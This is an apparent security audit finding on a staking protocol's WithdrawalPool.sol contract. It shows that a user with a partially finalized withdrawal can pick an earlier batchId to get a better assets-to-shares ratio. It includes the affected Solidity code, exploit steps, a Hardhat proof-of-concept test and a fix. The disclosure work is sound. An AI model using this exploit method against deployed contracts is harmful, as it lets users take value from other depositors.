Summary
In the WithdrawalPool.sol contract, users with withdrawals that have been partially withdrawn, when they call the WithdrawalPool::withdraw function they can input any previous batch they want and get the best assets-shares ratio for the rest of their shares.
Vulnerability Details
If a user calls PriorityPool::withdraw and there isn't enough liquidity to give him immediately, he can choose to queue his withdrawal in the WithdrawalPool.
function withdraw(
uint256 _amountToWithdraw,
uint256 _amount,
uint256 _sharesAmount,
bytes32[] calldata _merkleProof,
bool _shouldUnqueue,
@> bool _shouldQueueWithdrawal
) external {
.
.
.
if (toWithdraw != 0) {
IERC20Upgradeable(address(stakingPool)).safeTransferFrom(account, address(this), toWithdraw);
@> toWithdraw = _withdraw(account, toWithdraw, _shouldQueueWithdrawal);
}
token.safeTransfer(account, _amountToWithdraw - toWithdraw);
}
function _withdraw(address _account, uint256 _amount, bool _shouldQueueWithdrawal) internal returns (uint256) {
.
.
.
if (toWithdraw != 0) {
if (!_shouldQueueWithdrawal) revert InsufficientLiquidity();
@> withdrawalPool.queueWithdrawal(_account, toWithdraw);
}
emit Withdraw(_account, _amount - toWithdraw);
return toWithdraw;
}
In WithdrawalPool the withdrawal gets a unique withdrawalId
function queueWithdrawal(address _account, uint256 _amount) external onlyPriorityPool {
if (_amount < minWithdrawalAmount) revert AmountTooSmall();
lst.safeTransferFrom(msg.sender, address(this), _amount);
uint256 sharesAmount = _getSharesByStake(_amount);
queuedWithdrawals.push(Withdrawal(uint128(sharesAmount), 0));
totalQueuedShareWithdrawals += sharesAmount;
@> uint256 withdrawalId = queuedWithdrawals.length - 1;
queuedWithdrawalsByAccount[_account].push(withdrawalId);
withdrawalOwners[withdrawalId] = _account;
emit QueueWithdrawal(_account, _amount);
}
Now for the user to be able to complete his withdrawal, WithdrawalPool::_finalizeWithdrawals must be called, either by performUpkeep or by other users depositing. Everytime _finalizeWithdrawals gets called, it finalizes a batch of withdrawals. This batch gets saved along with the last withdrawal if finalized and the assets-share ratio at that time.
function _finalizeWithdrawals(uint256 _amount) internal {
uint256 sharesToWithdraw = _getSharesByStake(_amount);
uint256 numWithdrawals = queuedWithdrawals.length;
totalQueuedShareWithdrawals -= sharesToWithdraw;
for (uint256 i = indexOfNextWithdrawal; i < numWithdrawals; ++i) {
uint256 sharesRemaining = queuedWithdrawals[i].sharesRemaining;
if (sharesRemaining < sharesToWithdraw) {
sharesToWithdraw -= sharesRemaining;
continue;
}
if (sharesRemaining > sharesToWithdraw) {
queuedWithdrawals[i] = Withdrawal(
uint128(sharesRemaining - sharesToWithdraw),
uint128(queuedWithdrawals[i].partiallyWithdrawableAmount + _getStakeByShares(sharesToWithdraw))
);
indexOfNextWithdrawal = i;
@> withdrawalBatches.push(WithdrawalBatch(uint128(i - 1), uint128(_getStakeByShares(1 ether))));
} else {
indexOfNextWithdrawal = i + 1;
@> withdrawalBatches.push(WithdrawalBatch(uint128(i), uint128(_getStakeByShares(1 ether))));
}
sharesToWithdraw = 0;
break;
}
assert(sharesToWithdraw == 0);
emit WithdrawalsFinalized(_amount);
}
Withdrawals can get fully finalized or partially finalized, depending if sharesToWithdraw can cover the whole withdrawal or not.
Now users can call WithdrawalPool::withdraw on their finalized withdrawals to complete the withdrawing process. They are requiered to input their withdrawalId along with the batches they got finalized at. However, if a user's withdrawlId got partially withdrawn at some point, they can enter any batch previous to that withdrawal and enjoy a potentially better assets-shares ratio for the rest of their shares that were left when it got partially withdrawn.
function withdraw(uint256[] calldata _withdrawalIds, uint256[] calldata _batchIds) external {
address owner = msg.sender;
uint256 amountToWithdraw;
for (uint256 i = 0; i < _withdrawalIds.length; ++i) {
uint256 withdrawalId = _withdrawalIds[i];
Withdrawal memory withdrawal = queuedWithdrawals[_withdrawalIds[i]];
uint256 batchId = _batchIds[i];
WithdrawalBatch memory batch = withdrawalBatches[batchId];
if (withdrawalOwners[withdrawalId] != owner) revert SenderNotAuthorized();
if (batchId != 0 && withdrawalId <= withdrawalBatches[batchId - 1].indexOfLastWithdrawal) {
revert InvalidWithdrawalId();
}
@> if (batchId != 0 && withdrawalId > batch.indexOfLastWithdrawal
&& withdrawal.partiallyWithdrawableAmount == 0) revert InvalidWithdrawalId();
if (withdrawalId <= batch.indexOfLastWithdrawal) {
amountToWithdraw += withdrawal.partiallyWithdrawableAmount
@> + (uint256(batch.stakePerShares) * uint256(withdrawal.sharesRemaining)) / 1e18;
delete queuedWithdrawals[withdrawalId];
delete withdrawalOwners[withdrawalId];
} else {
amountToWithdraw += withdrawal.partiallyWithdrawableAmount;
queuedWithdrawals[withdrawalId].partiallyWithdrawableAmount = 0;
}
}
token.safeTransfer(owner, amountToWithdraw);
emit Withdraw(owner, amountToWithdraw);
}
Impact
A user may want to withdraw his funds and notice a bad assets-shares ratio. User can queue the withdrawal and deposit just 1 wei to call the _finalizeWithdrawals function and partially finalize his withdrawal. Now when his withdrawal gets actually fully finalized, he can enter any previous batchId and enjoy the assets-shares ratio at that time for the rest of his shares.
This breaks the whole accounting of the protocol.
Proof of Concept
Create a new tests.test.ts file in the test/core/priorityPool folder and paste the following code:
import { assert, expect } from 'chai'
import {
toEther,
deploy,
fromEther,
deployUpgradeable,
getAccounts,
setupToken,
} from '../../utils/helpers'
import {
ERC677,
SDLPoolMock,
StakingPool,
PriorityPool,
StrategyMock,
WithdrawalPool,
} from '../../../typechain-types'
import { ethers } from 'hardhat'
import { StandardMerkleTree } from '@openzeppelin/merkle-tree'
import { loadFixture } from '@nomicfoundation/hardhat-network-helpers'
describe.only('PriorityPool', () => {
async function deployFixture() {
const { accounts, signers } = await getAccounts()
const adrs: any = {}
const token = (await deploy('contracts/core/tokens/base/ERC677.sol:ERC677', [
'Chainlink',
'LINK',
1000000000,
])) as ERC677
adrs.token = await token.getAddress()
await setupToken(token, accounts, true)
const stakingPool = (await deployUpgradeable('StakingPool', [
adrs.token,
'Staked LINK',
'stLINK',
[],
toEther(10000),
])) as StakingPool
adrs.stakingPool = await stakingPool.getAddress()
const strategy = (await deployUpgradeable('StrategyMock', [
adrs.token,
adrs.stakingPool,
toEther(1000),
toEther(100),
])) as StrategyMock
adrs.strategy = await strategy.getAddress()
const sdlPool = (await deploy('SDLPoolMock')) as SDLPoolMock
adrs.sdlPool = await sdlPool.getAddress()
const pp = (await deployUpgradeable('PriorityPool', [
adrs.token,
adrs.stakingPool,
adrs.sdlPool,
toEther(100),
toEther(1000),
])) as PriorityPool
adrs.pp = await pp.getAddress()
const withdrawalPool = (await deployUpgradeable('WithdrawalPool', [
adrs.token,
adrs.stakingPool,
adrs.pp,
toEther(1),
0,
])) as WithdrawalPool
adrs.withdrawalPool = await withdrawalPool.getAddress()
await stakingPool.addStrategy(adrs.strategy)
await stakingPool.setPriorityPool(adrs.pp)
await stakingPool.setRebaseController(accounts[0])
await pp.setDistributionOracle(accounts[0])
await pp.setWithdrawalPool(adrs.withdrawalPool)
for (let i = 0; i < signers.length; i++) {
await token.connect(signers[i]).approve(adrs.pp, ethers.MaxUint256)
}
return { signers, accounts, adrs, token, stakingPool, strategy, sdlPool, pp, withdrawalPool }
}
it('should withdraw with any previous batchId', async () => {
const { signers, accounts, adrs, pp, token, strategy, stakingPool, withdrawalPool } = await loadFixture(
deployFixture
)
for (let i = 0; i < signers.length; i++) {
await pp.connect(signers[i]).deposit(toEther(1), false, ['0x'])
}
await stakingPool.connect(signers[1]).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(signers[1]).withdraw(toEther(1), 0, 0, [], false, true)
await pp.connect(signers[2]).deposit(toEther(1), false, ['0x'])
await stakingPool.connect(signers[6]).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(signers[6]).withdraw(toEther(1), 0, 0, [], false, true)
await pp.connect(signers[2]).deposit(toEther(1), false, ['0x'])
await stakingPool.connect(signers[3]).approve(adrs.pp, ethers.MaxUint256)
await pp.connect(signers[3]).withdraw(toEther(1), 0, 0, [], false, true)
await pp.connect(signers[2]).deposit(toEther(0.2), false, ['0x'])
await pp.connect(signers[2]).deposit(toEther(1), false, ['0x'])
await withdrawalPool.connect(signers[3]).withdraw([3], [1])
})
})
Tools Used
Manual Review
Recommendations
On the Withdrawal struct, consider adding a partiallyWithdrawnAt variable which is the batchId of when the withdrawal got partially withdrawn. Then compare this variable to the batchId entered by the users and don't let them be earlier than that.
